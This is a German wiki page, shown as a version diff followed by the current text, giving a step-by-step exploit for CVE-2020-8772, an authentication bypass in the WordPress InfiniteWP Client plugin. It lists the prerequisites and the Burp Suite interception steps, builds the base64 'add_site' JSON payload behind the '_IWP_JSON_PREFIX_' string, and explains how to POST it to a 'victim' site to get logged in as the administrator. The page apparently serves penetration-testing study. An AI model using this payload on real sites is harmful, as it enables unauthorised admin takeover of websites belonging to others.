Authentication Bypass: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 1: Zeile 1:
=CVE=
+
=Anforderungen um diesen Hack auszuführen=
*CVE-2020-8772
+
*Die Wordpress Website muss das Plugin InfiniteWP Client plugin in der Version < 1.9.4.5 haben. (Ob die Website dieses Plugin besitzt, kann man mit z.b [[https://xinux.net/index.php/Wpscan]] herausfinden)
=Vorbermerkung=
+
*Dem Angreifer muss bekannt sein, wie der Username des Admins lautet.
*Aufgrund logischer Fehler im Code ist es möglich, sich als beliebiger Administrator auf der Website anzumelden.
+
*Eine Möglichkeit den Payload an die Website zu senden besteht z.b mittels der Burp Suite.
*Das Problem liegt in der Funktion iwp_mmb_set_request, die sich in der Datei init.php befindet.
+
;Achtung: Das Plugin kann auch in der Version < 1.9.4.5 sicher sein, falls der Administrator die Schwachstelle manuell behoben hat.
*Dies prüft, ob das Array request_params der Kernklasse nicht leer ist, was nur in einer anderen Funktion gesetzt wird
 
*Da passiert nur wenn gefüllt wird und wenn die Nutzlast bestimmte Bedingungen erfüllt
 
*(in diesem Szenario sind die Aktionen readd_site und add_site die einzigen Aktionen, die keine haben Autorisierungsprüfung, weshalb dieses Problem besteht.)
 
*Sobald die Payload diese Bedingungen erfüllt, wird der angegebene Benutzername-Parameter verwendet
 
*DerAnforderer wird als diesen Benutzer angemeldet, ohne eine weitere Authentifizierung durchzuführen.
 
 
=Beispiel=
 
=Beispiel=
 
[[Datei:Wp-hack.png]]
 
[[Datei:Wp-hack.png]]
  
=Request=
+
=Vorgehen=
*Laden Sie die Zielwebsite neu und fangen Sie die Anfrage mit der Burp Suite ab.
+
*Starten der Burp-Suite
*Klicken Sie mit der rechten Maustaste auf die Burp Suite und klicken Sie auf „Anfragemethode ändern“, um die Anfrage von GET in POST umzuwandeln.
+
*Navigation zu der Registrierkarte "proxy"
 +
*Öffnen des Navigationpunktes "Intercept"
 +
*Navigationpunkte "Intercept" auf "on" stellen
 +
*Mit dem daraufhin geöffneten Burp-Suite Browsers, zu der Opfer Wordpress Seite navigieren
  
  
 
[[Datei:Authentication-Bypass-Wordpress.png|900px]]
 
[[Datei:Authentication-Bypass-Wordpress.png|900px]]
  
=Payload=
+
==Erstellung des Payloads==
*Erstellen Sie die JSON Payload und konvertieren Sie sie in base64.
+
*Benötigte Parameter zur Generierung des Payloads.
 
+
  {"iwp_action":"add_site","params":{"username":"admin"}}
  Payload: {"iwp_action":"add_site","params":{"username":"admin"}}
+
*Erstellen des ersten Teils des Payloads und Konvertieren in base64.
 
+
echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0
*echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0
+
-> eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=%
*Hängen Sie den base64 generierte Payload an die Zeichenfolge _IWP_JSON_PREFIX_ an.
+
*Erstellung des Payloads durch Anhängen des zuvor generierten base64 Strings an die Zeichenfolge _IWP_JSON_PREFIX_ .
 
+
  _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=%
  Payload: _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=
+
*Umwandeln der Anfrage Methode von GET in POST (klicken der Rechten Maustaste in der Burp Suite und Auswahl des Menüpunktes „Anfragemethode ändern“)
 
+
*Platzieren Sie den Payload als POST Argumente in der Burp Suite unterhalb der POST Anfrage.
*Platzieren Sie den Payload als POST Argumente.
 
 
[[Datei:Authentication-Bypass-Wordpress2.png|900px]]
 
[[Datei:Authentication-Bypass-Wordpress2.png|900px]]
*Klicken Sie auf Forward und schalten Sie den Intercept aus.
+
*Klicken Sie auf Forward und schalten Sie "Intercept" aus.
*Jetzt müssen wir die Seite einmal neuladen.
+
*Neuladen der Opfer Website im Burp Suite Webbrowser.
 
 
 
 
  
  
 +
=CVE=
 +
*CVE-2020-8772
 
==Links==
 
==Links==
 
 
[https://blog.pentesteracademy.com/cve-2020-8772-exploitation-under-3-minutes-594265b4e26a Bypass]
 
[https://blog.pentesteracademy.com/cve-2020-8772-exploitation-under-3-minutes-594265b4e26a Bypass]

Version vom 26. Januar 2023, 17:01 Uhr

Anforderungen um diesen Hack auszuführen

  • Die Wordpress Website muss das Plugin InfiniteWP Client plugin in der Version < 1.9.4.5 haben. (Ob die Website dieses Plugin besitzt, kann man mit z.b [[1]] herausfinden)
  • Dem Angreifer muss bekannt sein, wie der Username des Admins lautet.
  • Eine Möglichkeit den Payload an die Website zu senden besteht z.b mittels der Burp Suite.
Achtung
Das Plugin kann auch in der Version < 1.9.4.5 sicher sein, falls der Administrator die Schwachstelle manuell behoben hat.

Beispiel

Wp-hack.png

Vorgehen

  • Starten der Burp-Suite
  • Navigation zu der Registrierkarte "proxy"
  • Öffnen des Navigationpunktes "Intercept"
  • Navigationpunkte "Intercept" auf "on" stellen
  • Mit dem daraufhin geöffneten Burp-Suite Browsers, zu der Opfer Wordpress Seite navigieren


Authentication-Bypass-Wordpress.png

Erstellung des Payloads

  • Benötigte Parameter zur Generierung des Payloads.
{"iwp_action":"add_site","params":{"username":"admin"}}
  • Erstellen des ersten Teils des Payloads und Konvertieren in base64.
echo '{"iwp_action":"add_site","params":{"username":"admin"}}' | base64 -w0
-> eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=%
  • Erstellung des Payloads durch Anhängen des zuvor generierten base64 Strings an die Zeichenfolge _IWP_JSON_PREFIX_ .
_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQo=%
  • Umwandeln der Anfrage Methode von GET in POST (klicken der Rechten Maustaste in der Burp Suite und Auswahl des Menüpunktes „Anfragemethode ändern“)
  • Platzieren Sie den Payload als POST Argumente in der Burp Suite unterhalb der POST Anfrage.

Authentication-Bypass-Wordpress2.png

  • Klicken Sie auf Forward und schalten Sie "Intercept" aus.
  • Neuladen der Opfer Website im Burp Suite Webbrowser.


CVE

  • CVE-2020-8772

Links

Bypass